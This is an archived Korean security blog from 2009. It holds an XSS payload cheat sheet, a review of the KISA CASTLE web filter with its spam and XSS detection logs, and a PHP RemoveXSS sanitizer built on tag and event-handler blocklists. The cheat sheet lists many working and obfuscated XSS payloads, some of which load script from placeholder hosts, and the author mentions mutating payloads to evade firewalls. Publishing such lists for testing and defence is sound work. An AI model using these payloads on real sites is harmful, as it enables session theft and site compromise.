레이블이 보안인 게시물을 표시합니다. 모든 게시물 표시
레이블이 보안인 게시물을 표시합니다. 모든 게시물 표시

2009년 8월 10일 월요일

XSS 공격 Sample Code

XSS 공격은 다양한 형태의 취약성과 결합하여 피해와 위험 모두 커지고 있습니다.

 

이에 대표적인 XSS 공격 셈플 코드를 보시고 필요하신 분들은 보안 테스트를 해보시기 바랍니다.

 

본 코드들은 대부분의 웹어플리케이션 보안시스템(웹방화벽 등)에서는 시그니쳐 등에 의해서 기본적으로 필터링이 되는것이 당연할 테니 실제로 해킹에 적용할때는 다양한 변형방법을 통한

코드 변조가 이뤄집니다.

대표적으로 다양한 TAG나 자바스크립트등을 이용하는데, 이 방법 역시 다양한 코드 변환 기법이 있어 막는자 입장에서는 쉽지 않은 게임이라고 봅니다.

 

 

 

===================================샘플 코드 시작=======================================

 

[1] XSS Javascript Injection

      <SCRIPT SRC=http://xxx/xss.js></SCRIPT>

 

[2] Image XSS의 다양한 Type

      <IMG SRC="#">

      <IMG SRC=javascript:alert!('XSS')>

      <IMG SRC=JaVaScRiPt:alert!('XSS')>

      <IMG SRC=javascript:alert!("XSS")>

      <IMG SRC=`javascript:alert!("RSnake says, 'XSS'")`>

      <IMG """><SCRIPT>alert!("XSS")</SCRIPT>">

      <IMG SRC=javascript:alert!(String.fromCharCode(88,83,83))>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="   javascript:alert!('XSS');">

      <IMG SRC="#"

      <IMG DYNSRC="javascript:alert!('XSS')">

      <IMG LOWSRC="javascript:alert!('XSS')">

      <IMG SRC='vbscript!:msgbox("XSS")'>

 

[3] Non-alpha-non-digit XSS

      <SCRIPT/XSS SRC="http://xxxx/xss.js"></SCRIPT>

 

[4] Title Tag XSS

      </TITLE><SCRIPT>alert!("XSS");</SCRIPT>

 

[5] Input Tag XSS

      <INPUT TYPE="IMAGE" SRC="#">

 

[6] Body Tag XSS

      <BODY BACKGROUND="javascript:alert!('XSS')">

      <BODY >

 

[7] Meta Tag XSS

      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert!('XSS');">

      <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert!('XSS');">

 

[8] Frame Tag XSS

      <IFRAME SRC="#"></IFRAME>

      <iframe src=http://xxxx/scriptlet.html <

      <FRAMESET><FRAME SRC="#"></FRAMESET>

 

[9] Table Tag XSS

      <TABLE BACKGROUND="javascript:alert!('XSS')">

      <TABLE><TD BACKGROUND="javascript:alert!('XSS')">

 

[10] DIV Tag XSS

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="width: expression!(alert!('XSS'));">

 

[11] Style Tag XSS

      <STYLE>@import!'http://xxx/xss.css';</STYLE>

      <XSS STYLE="behavior: url(xss.htc);">

      <STYLE>li {list-style-image: url("javascript:alert!('XSS')");}</STYLE><UL><LI>XSS

      <STYLE>@im\port'\ja\vasc\ript:alert!("XSS")';</STYLE>

      <IMG STYLE="xss:expr/*XSS*/ession(alert!('XSS'))">

      <XSS STYLE="xss:expression!(alert!('XSS'))">

      <STYLE>.XSS{background-image:url("javascript:alert!('XSS')");}</STYLE><A CLASS=XSS></A>

      <STYLE type="text/css">BODY{background:url("javascript:alert!('XSS')")}</STYLE>

 

[12] Various Tag XSS

      <LINK REL="stylesheet" HREF="javascript:alert!('XSS');">

      <LINK REL="stylesheet" HREF=http://xxx/xss.css>

      <!--[if gte IE 4]><SCRIPT>alert!('XSS');</SCRIPT><![endif]-->

      <BASE HREF="javascript:alert!('XSS');//">

      <EMBED SRC=http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>

 

[13] Other Types

      <<SCRIPT>alert!("XSS");//<</SCRIPT>

      <SCRIPT>a=/XSS/alert!(a.source)</SCRIPT>

      \";alert!('XSS');//

      ¼script¾alert!(¢XSS¢)¼/script¾

2009년 7월 29일 수요일

[php+보안]한국정보보호진흥원 CASTLE 사용법

□ CASTLE의 주요기능
o 보안성 강화
- OWASP 10대 주요 취약점 해결
- 소스코드 수준의 웹 어플리케이션 보안성 강화
o 사용자 편리성 강화
- 관리기능으로 편리한 정책 설정 지원
- 운영 중인 프로그램 소스의 최소 수정으로도 적용 가능
o 높은 호환성 지원
- 다양한 웹 서버 환경과 웹 어플리케이션에서 동작할 수 있는 호
환성 지원

캐슬에 대한 진흥원에 기능설명이다. 실제 사용해본 결과 만족할 만한 수준이었고
현재 모대학 학과사이트에 적용해서 잘쓰고 있다.

기본에는 악성스팸글이 하루에도 수십건에 달했지만 현재는 전혀 올라오지 않고 있다.
로그를 살펴보면 완전히 차단되는 걸 알수 있다.

194.8.75.145 - [12/Jul/2009:00:47:58 +0900] /board/job/board.php: html_body = Hello,\r\ntortilia.info\r\nbuster! long one!  \r\nhttp://petheal: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Fre...]
194.8.74.130 - [12/Jul/2009:01:20:44 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:03:14:12 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:05:14:20 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">dr: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
194.8.74.130 - [12/Jul/2009:07:21:14 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">ge: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
194.8.74.130 - [12/Jul/2009:09:33:34 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">en: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
99.250.211.177 - [12/Jul/2009:11:52:10 +0900] /board/job/board.php: html_body = buy tadalafil levitra buy levitra generic cheap allegra cialis v: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:11:55:47 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:14:24:35 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
210.51.47.187 - [12/Jul/2009:16:33:45 +0900] /board/notice/board.php: subject = 【무료자료】유망자격증, 10급공무원, 독학사, 영어자료: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 유망자격증]
210.51.47.187 - [12/Jul/2009:16:33:45 +0900] /board/faq/board.php: subject = 【무료자료】유망자격증, 10급공무원, 독학사, 영어자료: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 유망자격증]
210.51.47.187 - [12/Jul/2009:18:15:37 +0900] /board/faq/board.php: html_body = 신청서가 보이지 않는분은 이쪽으로~ http://sawhi.co1.kr\r\n\r\n\r: XSS 공격 패턴 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: src[[:space:]]*=]
210.51.47.187 - [12/Jul/2009:18:16:03 +0900] /board/notice/board.php: html_body = 신청서가 보이지 않는분은 이쪽으로~ http://sawhi.co1.kr\r\n\r\n\r: XSS 공격 패턴 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: src[[:space:]]*=]
194.8.74.130 - [12/Jul/2009:19:43:51 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
59.151.97.6 - [12/Jul/2009:21:01:21 +0900] /board/notice/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]
59.151.97.6 - [12/Jul/2009:21:01:22 +0900] /board/pds_class/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]
59.151.97.6 - [12/Jul/2009:21:01:22 +0900] /board/faq/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]

사용법과 관련해서는 압축파일을 올려두겠다.
자세한 내용은 메뉴얼을 참고하면 될듯 하다.
참고사이트 http://www.krcert.or.kr




[php+보안]XSS 공격 방어

//XSS 공격 방어
function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // &#00064 @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }

   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
               $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
   return $val;
}